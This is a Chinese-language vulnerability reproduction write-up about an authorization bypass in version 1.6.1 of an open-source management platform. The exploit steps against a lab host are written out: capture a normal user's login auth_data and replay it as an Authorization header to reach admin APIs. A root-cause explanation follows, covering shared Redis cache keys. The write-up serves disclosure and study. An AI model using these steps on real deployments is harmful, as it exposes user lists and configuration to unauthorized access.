越权访问漏洞复现
某开源的管理平台,该漏洞可导致普通用户越权访问调用管理员的API。
影响范围
v1.6.1
漏洞复现
靶机ip:192.168.1.9
登录地址:
http://192.168.1.9:8080/#/login
先注册个号
用户名:tpaer@hack.com
密码:123qwert
回到登录页面进行登录并抓包
放包返回了一段json,json中的auth_data为当前用户的认证信息后面需要用到
{"data": {"token": "64aa38aff3c56866eaaa7405c5602920","auth_data": "dHBhZXJAaGFjay5jb206JDJ5JDEwJG5Vc2FQL0pENU1qQXhlZDMxZTlrM3VOeEFHWEQ4Sk1mZnU0amY4WEVjbm5ieGhwRFE5WVBh"}
}
登录后会进入到如下界面
尝试直接访问,访问失败
http://192.168.1.9:8080/api/v1/user/info
重新抓包添加Authorization请求头,值为auth_data
Authorization:dHBhZXJAaGFjay5jb206JDJ5JDEwJG5Vc2FQL0pENU1qQXhlZDMxZTlrM3VOeEFHWEQ4Sk1mZnU0amY4WEVjbm5ieGhwRFE5WVBh
成功访问
在请求时携带Authorization请求头,就可以使用管理员的API进行越权访问用户列表、机场配置、订阅信息等内容
漏洞原理
在v1.6.1版本中新加入了缓存机制:用户访问时会将Authorization头存入redis。在下次请求时,如果Authorization在缓存中存在就认为是合法用户。
前后台的API都使用了这个机制,并且这两个缓存的key是相同的,在后台读取到缓存后也并没有确认用户身份。
用户在登录时Authorization头缓存在redis,后台接口携带相同的Authorization进行访问,在redis找到了相同的Authorization会放行,从而绕过后台的鉴权系统。